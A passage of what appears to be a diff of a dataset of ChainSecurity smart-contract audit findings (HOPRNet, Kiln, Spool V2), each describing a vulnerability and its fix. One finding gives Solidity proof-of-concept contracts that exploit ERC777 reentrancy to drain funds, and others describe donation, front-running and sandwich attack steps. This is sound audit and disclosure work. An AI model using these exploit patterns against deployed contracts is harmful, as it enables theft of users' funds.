duplication.\n```","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/08/Smart-Contract-Audit_Maker_DSS_Allocator_ChainSecurity.pdf"}} {"title":"6.1 HoprChannels ERC777 Reentrancy","body":"```\nSecurity Critical Version 1 Code Corrected\nCS-HPRNMM23-\n```\nAn attacker can leverage the ERC777 capability of the wxHOPR token to drain the funds of\nHoprChannels contract.\n\nAttack vector:\n\nAssume the attacker deploys the following pair of contracts at ALICE and BOB addresses respectively.\n\n```\ncontract Bob {\n```\n```\nfunction close() public {\nHoprChannels channels = HoprChannels(0x...);\n```\n\n```\nchannels.closeIncomingChannel(ALICE);\n```\n### }\n\n### }\n\n```\ncontract Alice is IERC777Recipient {\n```\n```\nbool once = false;\n```\n```\nfunction tokensReceived(...) public {\nif (once) {\nreturn;\n}\nonce = true;\nHoprChannels channels = HoprChannels(0x...);\nchannels.fundChannel(BOB, 1);\nBob(BOB).close();\n}\n```\n```\nfunction hack() public {\n```\n```\n_ERC1820_REGISTRY.setInterfaceImplementer(address(this),\nTOKENS_RECIPIENT_INTERFACE_HASH, address(this));\n```\n```\nHoprChannels channels = HoprChannels(0x...);\nchannels.fundChannel(BOB, 10);\nBob(BOB).close();\n}\n```\n### }\n\nExploit scenario:\n\nWhen Alice.hack() is called, the following happens:\n\n```\n1.Alice's contract registers itself as its own ERC777TokensRecipient.\n2.Alice funds outgoing channel to Bob with 10 wxHOPR.\n3.Bob closes the incoming channel with Alice.\n```\n```\n4.During the execution of closeIncomingChannel() the 10 wxHOPR tokens are transferred to\nAlice.\n5.The tokensReceived() function of Alice is called. During this call:\n```\n```\n1.Alice funds outgoing channel to Bob with 1 wxHOPR. Balance of the channel becomes\n11 wxHOPR.\n```\n```\n2.Bob closes the incoming channel with Alice and 11 wxHOPR tokens are transferred to\nAlice.\n3.This time the tokensReceived() function of Alice does nothing. The balance of the\nchannel is set to 0.\n```\n```\n6.The closeIncomingChannel() that started on step 4. sets the balance of channel to 0.\n```\nAs a result, attacker using 10+1 token can withdraw 10+11 wxHOPR tokens from the channel. The\nattacker can loop the reentrancy even more time for more profit.\n\nCause:\n\n\nThe change of channel balance to 0 happens after the reentrant call to token.transfer() in the\n_closeIncomingChannelInternal() function. Thus, checks-effects-interactions pattern is\neffectively violated. Similar violations happen in other functions of the HoprChannels contract:\n\n- _finalizeOutgoingChannelClosureInternal() sets the channel balance to 0 after the\n reentrant call to token.transfer().\n- _redeemTicketInternal() calls indexEvent and emits events after token.tranfer() call\n in case when the earning channel is closed. This effectively can lead do the wrong order of events in\n the event log or a different snapshot root.\n\nCode corrected:\n\nThe code has been corrected by moving the token transfer to the end of the function in all relevant\nfunctions.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf"}} {"title":"6.2 Winning Ticker Can Be Redeemed Multiple","body":"Times\n\n```\nSecurity Critical Version 1 Code Corrected\nCS-HPRNMM23-\n```\nAssume Alice has outgoing channel to Bob with 1 as ticketIndex. Following scenario is possible:\n\n```\n1.Alice provides Bob 4 non-winning tickets with ticketIndex 2, 3, 4, 5 and a winning ticket with\nticketIndex 6. All of those tickets are non-aggregated and thus their indexOffset is 1.\n```\n```\n2.Bob redeems the winning ticket. In the _redeemTicketInternal function, the ticketIndex of\nthe spending channel is updated as: spendingChannel.ticketIndex += indexOffset. The\nticketIndex of the spending channel is now 2.\n3.Bob can redeem the ticket again, because the only requirement on ticketIndex is that it is\ngreater than the ticketIndex of the spending channel.\n```\nThus, same winning ticket can be redeemed multiple times. The ticketHash signature from Alice does\nnot prevent this, because it does not contain any nonce or other replay protection mechanism.\n\nCode corrected:\n\nThe ticketIndex of the spending channel has been updated as:\nspendingChannel.ticketIndex = TicketIndex.wrap(baseIndex + baseIndexOffset).\n\nAnd the check of ticket validity has been adjusted to require:\n(baseIndexOffset >= 1) && (baseIndex >= currentIndex).","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf"}} {"title":"6.3 EIP-712 Incompliant Signed Message","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-HPRNMM23-\n```\nThe EIP-712 compliant message should start with a two-byte prefix \"0x1901\" followed by the\ndomainSeparator and the message hash struct. Whereas two 32-bytes are used in the following cases\nfor the prefix because of abi.encode. Consequently the signatures generated by the mainstream\nEIP-712 compliant libraries cannot be verified in these smart contracts:\n\n\n```\n1.registerSafeWithNodeSig() in NodeSafeRegistry.\n2._getTicketHash() in Channels.\n```\nCode corrected:\n\nThe abi.encodePacked has been used instead of abi.encode to generate the message hash struct.","dataSource":{"name":"ChainSecurity/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/Smart-Contract-Audit_HOPRNet_Node_Management_Module_ChainSecurity.pdf"}} @@ -3231,63 +3391,6 @@ {"title":"6.3 ERC4626 minIncomingShares Must Be Used","body":"Note Version 1\n\nERC4626 vaults can be affected by rounding issues when depositing.\n\nThis is mitigated in the ERC4626Adapter by letting managers specify a minIncomingSharesAmount.\n\nIt is important that managers specify a reasonable amount, to limit the impact of rounding errors.","dataSource":{"name":"ChainSecurity/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf"}} {"title":"6.4 Kiln Bad Accounting","body":"Note Version 1\n\nIn Kiln, the admin of the staking contract can withdraw from the CL fee recipient contract. If that occurs\nafter an exit, and the vault manager performs an action that sweeps ETH from the external position (e.g.\nclaim fees, sweep ETH), then the accounting will be off. Namely, the exited validator will be still\naccounted for (32 ETH) while the exited ETH will be in the vault proxy. Ultimately, double-counting assets\ncould be possible. Hence, the share price will be too high.\n\nFurther, donations could be made to the CL fee recipient contract so that the threshold is reached.\nUltimately, when claiming CL fees, the validator count would be reduced even though there was no\nvalidator exit. The value of the fund could be reduced.\n\n\nSlashed validators will not be removed in the case of a mass slashing event, where the slashed amount\nis larger than 32 ETH - EXITED_VALIDATOR_THRESHOLD. The value of the fund would be\noverestimated in this case.\n\nNote that the threshold should be very carefully chosen so that the system works properly all of the time\nwhile not allowing arbitrage opportunities. Fund managers and asset managers are expected to actively\nmonitor for bad scenarios so that they can pause the external position's valuation. Once paused, they are\nexpected to reconcile with Avantgarde Finance so that a contract upgrade can be released that fixes the\nissue.\n\nFurther, note that Avantgarde Finance is aware of this but decided to implement more complex logic for\nthese rather unlikely corner cases only if necessary.","dataSource":{"name":"ChainSecurity/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf"}} {"title":"6.5 Kiln Fees on Slashing","body":"Note Version 1\n\nNote the following documented behaviour in Kiln:\n\n```\nIn case of slashing, the exit is not requested we don't exempt anything [from fees]. This is in case of\nslashing, the staker will be rebated manually. A slashed validator may have accumulated enough\nskimmed rewards to still have a balance > 32 ETH. All of this will be taken into account and the\nstaker will be compensated for the commission taken. on its principal and the loss according to the\nSLA described in the Terms&Conditions.\n```\nKiln takes a fee on the total leftover ETH balance if a slashing event leaves a position under 31 ETH. As\nthis amount must be manually returned by Kiln, it will not be considered in the valuation of the enzyme\nvault until that process is completed. This may lead to undervaluing the vault. If Kiln returns the owed\namount to the external position rather than the vault directly, the amount will only be counted once the\nvault manager calls the sweepETH action.","dataSource":{"name":"ChainSecurity/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/09/2023-07-CS-erc4626-kiln-exits-balancer-stable-pool-price-feed-fix-convex-aura-wrappers-fix.pdf"}} -{"title":"5.1 Read-only Reentrancy","body":"```\nDesign Low Version 1 Acknowledged\nCS-SpoolV2-\n```\nIt can be possible to construct examples where certain properties of the SV mismatch reality. For\nexample, during reallocations, a temporary devaluation of SVTs occurs due to SSTs being released. Due\nto reentrancy possibilities, certain values retrieved could be inaccurate (e.g. SV valuation).\n\nAcknowledged:\n\nWhile the read-only reentrancy does directly affect on the protocol, it could affect third parties. Spool\nreplied:\n\n```\nThe mentioned view functions are not intended to be used while the\nreallocation is in progress.\n```\n\n\nHere, we list findings that have been resolved during the course of the engagement. Their categories are\nexplained in the Findings section.\n\nBelow we provide a numerical overview of the identified findings, split up by their severity.\n\n```\nCritical-Severity Findings 1\n```\n- Lack of Access Control in recoverPendingDeposits() Code Corrected\n\n```\nHigh-Severity Findings 7\n```\n- DOS Synchronization by Dividing With Zero Redeemed Shares Code Corrected\n- DOS on Deposit Synchronization Code Corrected\n- Donation Attack on SST Minting Code Corrected\n- Donation Attack on SVT Minting Code Corrected\n- Flushing Into Ongoing DHW Leading to Loss of Funds Code Corrected\n- No Deposit Due to Reentrancy Into redeemFast() Code Corrected\n- Wrong Slippage Parameter in Curve Deposit Code Corrected\n\n```\nMedium-Severity Findings 5\n```\n- Curve LP Token Value Calculation Can Be Manipulated Code Corrected\n- Deposits to Vault With Only Ghost Strategies Possible Code Corrected\n- Ghost Strategy Disables Functionality Code Corrected\n- Inconsistent Compound Strategy Value Code Corrected\n- Strategy Value Manipulation Code Corrected\n\n```\nLow-Severity Findings 19\n```\n- Distribution to Ghost Strategy Code Corrected\n- Lack of Access Control for Setting Extra Rewards Code Corrected\n- Wrong Error IdleStrategy.beforeRedeemalCheck() Code Corrected\n- Access Control Not Central to Access Control Contract Specification Changed\n- Asset Decimal in Price Feed Code Corrected\n- Bad Event Emissions Code Corrected\n- Broken Conditions on Whether Deposits Have Occurred Code Corrected\n- Deposit Deviation Can Be Higher Than Expected Code Corrected\n- Inconsistent Handling of Funds on Strategy Removal Code Corrected\n- Misleading Constant Name Code Corrected\n- Missing Access Control in Swapper Code Corrected\n- Missing Event Fields Code Corrected\n- No Sanity Checks on Slippage Type Code Corrected\n- Precision Loss in Notional Finance Strategy Code Corrected\n- Redemption Executor Code Corrected\n\n\n- State Inconsistencies Possible Code Corrected\n- Unused Functions Code Corrected\n- Unused Variable Code Corrected\n- Validation of Specification Code Corrected","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.1 Lack of Access Control in","body":"recoverPendingDeposits()\n\n```\nSecurity Critical Version 3 Code Corrected\nCS-SpoolV2-039\n```\nDepositManager.recoverPendingDeposits() has no access control (instead of being only\ncallable by the SV manager). Thus, it allows arbitrary users to freely specify the arguments passed to the\nfunction. Ultimately, funds from the master wallet can be stolen.\n\nCode corrected:\n\nAccess control was added. Now, only ROLE_SMART_VAULT_MANAGER can access the function.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.2 DOS Synchronization by Dividing With Zero","body":"Redeemed Shares\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-001\n```\n_sharesRedeemed describes the SSTs redeemed by an SV. That value could be zero due to rounding.\nHence,\n\n```\nuint256 withdrawnAssets =\n_assetsWithdrawn[strategy][dhwIndex][j] * strategyShares[i] / _sharesRedeemed[strategy][dhwIndex];\n```\ncould be a division by zero.\n\nConsider the following scenario:\n\n```\n1.Many deposits are made to an SV.\n2.The attacker makes a 1 SVT wei withdrawal.\n3.The attacker flushes the SV.\n4.The redeemed SSTs are computes as\nstrategyWithdrawals[i] = strategyShares * withdrawals / totalVaultShares.\nstrategyShares corresponds to the shares held by the SV. Hence if the SV's balance of SSTs is\nlower than the total supply of SSTs (recall, the withdrawal is 1), the shares to be withdrawn is 0.\n5.The withdrawal manager passes it to the strategy registry which then stores these values in\n_sharesRedeemed.\n6.No other SV tries to withdraw.\n```\n```\n7.The division reverts on synchronization.\n```\nUltimately, funds will be locked and SVs could be DOSed.\n\n\nCode corrected:\n\nNow, in every iteration of the loop in StrategyRegistry.claimWithdrawals(), it is checked\nwhether the strategy shares to be withdrawn from the SV (strategyShares) are non-zero. In the case\nof strategyShares being zero, the iteration is skipped. If not the case, _sharesRedeemed > 0 will\nhold. That is because it is the sum of all SV withdrawals. In other words,\nstrategyShares_SV > 0 => _sharesRedeemed > 0.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.3 DOS on Deposit Synchronization","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-002\n```\nAfter the DHW of an SV's to-sync flush cycle, the SV must be synced. The deposit manager decides,\nbased on the value of the deposits at DHW, how many of the minted SSTs will be claimable by the SV. It\nis computed as follows:\n\n```\nresult.sstShares[i] = atDhw.sharesMinted * depositedUsd[0] / depositedUsd[1];\n```\nThe depositedUsd has the total deposit of the vault in USD at index zero while at index 1 the total\ndeposits of all SVs are aggregated.\n\nTo calculate result.sstShares[i] the following condition should be met:\n\n```\n/// deposits = _vaultDeposits[parameters.smartVault][parameters.bag[0]][0];\ndeposits > 0 && atDhw.sharesMinted > 0\n```\nwhich means that the first asset in the asset group had to be deposited and that at least one SST had to\nbe minted. Given very small values and front-running DHWs with donations that could be achieved.\nUltimately, a division-by-zero could DOS the synchronization.\n\nConsider the following scenario:\n\n```\n1.Only withdrawals occur on a given strategy.\n2.An attacker sees a DHW incoming for that strategy.\n```\n```\n3.The attacker frontruns the transaction and makes a minor deposit so that deposits > 0 holds.\nAdditionally, the assetToUsdCustomPriceBulk() should return 0 which is possible due to\nrounding. See the following code in UsdPriceFeedManager.assetToUsdCustomPrice:\n```\n```\nassetAmount * price / assetMultiplier[asset];\n```\nUnder the condition that assetAmount * price is less than assetMultiplier (e.g. 1 wei at 0.1\nUSD for a token with 18 decimals), that will return 0.\n\n```\n4.Additionally, the attacker donates an amount so that Strategy.doHardWork() so that 1 wei SST\nwill be minted (note that the Strategy mints based on the balances and does not receive the\namount that were deposited).\n```\n```\n5.Finally, DHW is entered and succeeds with 1 minted share.\n6.The vault must sync. However, it reverts due to depositedUsd[1] being calculated as 0.\n```\nUltimately, an attacker could cheaply attack multiple SVs under certain conditions.\n\n\nCode corrected:\n\ndeposits > 0 has been replaced by checking whether there are any deposits made to any of the\nunderlying assets. Additionally, a condition skips the computation (and some surrounding ones) in case\nthe deposited value is zero.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.4 Donation Attack on SST Minting","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-003\n```\nThe SSTs are minted on DHW and based on the existing value. However, it is possible to donate (e.g.\naTokens to the Aave strategy) to strategies so that deposits are minting no shares.\n\nA simple attack may cause a loss in funds. Consider the following scenario:\n\n```\n1.A new strategy is deployed.\n2.1M USD is present for the DHW (value was zero since it is a new strategy).\n3.An attacker donates 1 USD in underlying of the strategy (e.g. aToken).\n4.DHW on the strategies happens.``usdWorth[0]`` will be non-zero. Hence, the\ndepositShareEquivalent will be computed using multiplication with total supply which is 0.\nUltimately, no shares will be minted.\n```\nUltimately, funds could be lost.\n\nAn attacker could improve on the attack for profit.\n\n```\n1.A new strategy is deployed.\n2.An attacker achieves to mint some shares.\n```\n```\n3.The attacker redeems the shares fast so that only 1 SST exists.\n4.Now, others deposit 1M USD.\n5.The attacker donates 1M + 1 USD in yield-bearing tokens to the strategy.\n6.No shares are minted due to rounding issues since the depositSharesEquivalent and the\nwithdrawnShares are zero.\n```\nThe deposits will increase the value of the strategy so that the attacker profits.\n\nUltimately, funds could be stolen.\n\nCode corrected:\n\nWhile the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed\nrate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of\nshares is enforced. That makes such attacks much more expensive.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.5 Donation Attack on SVT Minting","body":"```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-004\n```\nThe SVTs that are minted on synchronization are minted based on the existing value at the flush.\nHowever, it is possible to donate to SVs so that deposits are minting no shares.\n\nA simple attack may cause a loss in funds. Consider the following scenario:\n\n\n```\n1.A new SV is deployed.\n2.1M USD is flushed (value was zero since it is a new vault).\n3.An attacker, holding some SSTs (potentially received through platform fees), donates 1 USD in\nSSTs (increases the vault value to 1 USD). Frontruns DHW.\n4.DHW on the strategies happens.\n```\n```\n5.The SV gets synced. The synchronization does not enter the branch of\nif (totalUsd[1] == 0) since the value is 1 USD. The SVTs are minted based on the total\nsupply of SVTs which is zero. Hence, zero shares will be minted.\n6.The depositors of the fund receive no SVTs.\n```\nUltimately, funds could be lost.\n\nAn attacker could improve on the attack for profit.\n\n```\n1.A new SV is deployed.\n2.An attacker achieves to mint some shares.\n3.The attacker redeems the shares fast so that only 1 SVT exists.\n4.Now, others deposit 1M USD, and the deposits are flushed.\n```\n```\n5.The attacker donates 1M + 1 USD in SSTs to the strategy.\n6.Assume there are no fees for the SV for simplicity. Synchronization happens. The shares minted for\nthe deposits will be equal to 1 * 1M USD / (1M + 1 USD) which rounds down to zero.\n```\nThe deposits will increase the value of the vault so that the attacker profits.\n\nFinally, consider that an attack could technically also donate to the strategy before the DHW so that\ntotalStrategyValue is pumped.\n\nCode corrected:\n\nWhile the total supply of SSTs is less than INITIAL_LOCKED_SHARES, the shares are minted at a fixed\nrate. INITIAL_LOCKED_SHARES are minted to the address 0xdead so that a minimum amount of\nshares is enforced. That makes such attacks much more expensive.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.6 Flushing Into Ongoing DHW Leading to Loss","body":"of Funds\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-005\n```\nThe DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being\nreentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in\nStrategy.doHardWork().\n\nConsider the following scenario:\n\n```\n1.DHW is being executed for a strategy. The deposits are 1M USD. Assume that for example the best\noff-chain computed path is taken for swaps. An intermediary token is reentrant.\n2.The strategy registry communicated the provided funds and the withdrawn shares for the DHW\nindex to the strategy.\n3.Funds are swapped.\n```\n\n```\n4.The attacker reenters a vault that uses the strategy and flushes 1M USD. Hence, the funds to\ndeposit and shares to redeem for the DHW changed even though the DHW is already running.\n5.The funds will be lost. However, the loss is split among all SVs.\n6.However, the next DHW will treat the assets as deposits made by SVs. An attacker could maximize\nhis profit by depositing a huge amount and flushing to the DHW index where the donation will be\napplied. Additionally, he could try flushing all other SVs with small amounts. The withdrawn shares\nwill be just lost.\n```\nTo summarize, flushing could be reentered to manipulate the outcome of DHW due to bad inputs coming\nfrom the strategy registry.\n\nCode corrected:\n\nReentrancy protection has been added for this case.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.7 No Deposit Due to Reentrancy Into","body":"redeemFast()\n\n```\nSecurity High Version 1 Code Corrected\nCS-SpoolV2-006\n```\nThe DHW could be reentrant due to the underlying protocols allowing for reentrancy or the swaps being\nreentrant. That reentrancy potential may allow an attacker to manipulate the perceived deposit value in\nStrategy.doHardWork().\n\nConsider the following scenario:\n\n```\n1.DHW is executed for a strategy. The deposits are 1M USD. Assume that for example the best\noff-chain computed path is taken for swaps. An intermediary token is reentrant.\n2.DHW checks the value of the strategy, which is 2M USD and fully controlled by the attacker's SV.\n3.The DHW swaps the incoming assets. The attacker takes control of the execution.\n```\n```\n4.The attacker redeems 1M USD with redeemFast(). The strategy's value drops to 1M USD.\n5.DHW proceeds, a good swap is made and the funds are deposited into the protocol.\n6.DHW retrieves the new strategy value which is now 2M USD.\n7.The perceived deposit is now 0 USD due to 2. and 6. However, the actual deposit was 1M USD.\n```\nUltimately, the deposit made is treated as a donation to the attacker since zero shares are minted.\n\nSimilarly, such attacks are possible when redeeming SSTs with redeemStrategyShares().\n\nAlso, the attack could occur in regular protocol interactions if the underlying protocol has reentrancy\npossibilities (e.g. protocol itself has a swapping mechanism). In such cases, the reallocation could be\nvulnerable due to similar reasons in depositFast().\n\nCode corrected:\n\nReentrancy protection has been added for this case.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.8 Wrong Slippage Parameter in Curve Deposit","body":"```\nCorrectness High Version 1 Code Corrected\nCS-SpoolV2-007\n```\nCurve3CoinPoolBase._depositToProtocol() calculates an offset for the given slippage array.\nThis offset is then passed - without the actual array - into the function _depositToCurve(). The\nadd_liquidity() function of the Curve pool is then called with this offset parameter, setting the\nslippage to always either 7 or 10:\n\n```\nuint256 slippage;\nif (slippages[0] == 0) {\nslippage = 10;\n} else if (slippages[0] == 2) {\nslippage = 7;\n} else {\nrevert CurveDepositSlippagesFailed();\n}\n```\n```\n_depositToCurve(tokens, amounts, slippage);\n```\n```\npool.add_liquidity(curveAmounts, slippage);\n```\nDHW calls can be frontrun to extract almost all value of this call.\n\nCode corrected:\n\nCurve3CoinPoolBase._depositToProtocol() now passes the correct value of the slippages\narray to _depositToCurve().","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.9 Curve LP Token Value Calculation Can Be","body":"Manipulated\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-008\n```\nCurve3CoinPoolBase._getUsdWorth() and ConvexAlusdStrategy._getTokenWorth()\ncalculate the value of available LP tokens in the following way:\n\n```\nfor (uint256 i; i < tokens.length; ++i) {\nusdWorth += priceFeedManager.assetToUsdCustomPrice(\ntokens[i], _balances(assetMapping.get(i)) * lpTokenBalance / lpTokenTotalSupply, exchangeRates[i]\n);\n}\n```\nThis is problematic as the pool exchanges tokens based on a curve (even though it is mostly flat).\nConsider the following scenario (simplified for 2 tokens):\n\n- The pool's current A value is 2000.\n- The pool holds 100M of each token.\n- The total LP value according to the given calculation is 200M USD.\n- A big trade (200M) changes the holdings of the pool in the following way:\n\n\n- 300M A token\n- ~160 B token\n- The total LP value according to the given calculation is now ~300M USD.\n\nA sandwich attack on StrategyRegistry.doHardWork() could potentially skew the value of a\nstrategy dramatically (although an enormous amount of tokens would be required due to the flat curve of\nthe StableSwap pool). This would, in turn, decrease the number of shares all deposits in this DHW cycle\nreceive, shifting some of this value to the existing depositors.\n\nAll in all, an attacker must hold a large position on the strategy, identify a DHW that contains a large\ndeposit to the strategy and then sandwich attack it with a large amount of tokens. The attack is therefore\nrather unlikely but has a critical impact.\n\nCode corrected:\n\nThe Curve and Convex strategies now contain additional slippage checks for the given Curve pool's\ntoken balances (and also the Metapool's balances in the case of ConvexAlusdStrategy) in\nbeforeDepositCheck. As this function is always called in doHardWork, the aforementioned sandwich\nattack can effectively be mitigated by correctly set slippages. It is worth noting that these slippages can\nbe set loosely (to prevent the transaction from failing) as some less extreme fluctuations cannot be\nexploited due to the functionality of the underlying Curve 3pool.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.10 Deposits to Vault With Only Ghost Strategies","body":"Possible\n\n```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-009\n```\nGovernance can remove strategies from vaults. It happens by replacing the strategy with the ghost\nstrategy. However, if an SV has only ghost strategies, deposits to it are still possible (checking the\ndeposit ratio always works since the ideal deposit ratio is 0 or due to the \"one-token\" mechanics).\nHowever, flushing would revert. User funds could unnecessarily be lost. Similarly, redemptions would be\npossible. Additionally, synchronization could occur if the ghost strategy is registered (which should not be\nthe case).\n\nCode corrected:\n\nThe case was disallowed by making a call to the newly implemented function _nonGhostVault, which\nalso gets called when redeeming and flushing. Hence, depositing to, redeeming and flushing from a\nghost vault is disabled.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.11 Ghost Strategy Disables Functionality","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-010\n```\nGovernance can remove strategies from SVs by replacing them with the ghost strategy. This may break\nredeemFast() on SVs due to StrategyRegistry.redeemFast() trying to call redeemFast() on\nthe ghost strategy.\n\n\nCode corrected:\n\nThe iteration is skipped in case the current strategy is the ghost strategy. Hence, the function is not called\non the ghost strategy anymore.","dataSource":{"name":"ChainSecurity/ChainSecurity_Spool_Spool_V2_audit.pdf","url":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf","repo":"https://chainsecurity.com/wp-content/uploads/2023/10/ChainSecurity_Spool_Spool_V2_audit.pdf"}} -{"title":"6.12 Inconsistent Compound Strategy Value","body":"```\nCorrectness Medium Version 1 Code Corrected\nCS-SpoolV2-011\n```\nCompoundV2Strategy calculates the yield of the last DHW epoch with exchangeRateCurrent()\nwhich returns the supply index up until the current block:\n\n```\nuint256 exchangeRateCurrent = cToken.exchangeRateCurrent();\n```\n```\nbaseYieldPercentage = _calculateYieldPercentage(_lastExchangeRate, exchangeRateCurrent);\n_lastExchangeRate = exchangeRateCurrent;\n```\nOn the other hand, _getUsdWorth() calculates the value of the whole strategy based on the output of\n_getcTokenValue() which in turn calls Compound's exchangeRateStored():\n\n```\nif (cTokenAmount == 0) {\nreturn 0;\n}\n```\n```\n// NOTE: can be outdated if noone interacts with the compound protocol for a longer period\nreturn (cToken.exchangeRateStored() * cTokenAmount) / MANTISSA;\n```\nThis behavior has been acknowledged with a comment in the code. However, it can become problematic\nin the following scenario:\n\n- The compound protocol did not have interaction over a longer period.\n- A user has deposited into a SmartVault that contains the CompoundV2Strategy.\n- In the doHardWork() call, the strategy's _compound function does not deposit to the protocol (i.e.\n the index is not updated in Compound). This can happen in the following cases:\n - No COMP rewards have been accrued since the last DHW.\n - The ROLE_DO_HARD_WORKER role has not supplied a SwapInfo to the strategy's\n _compound function.\n\nIn this 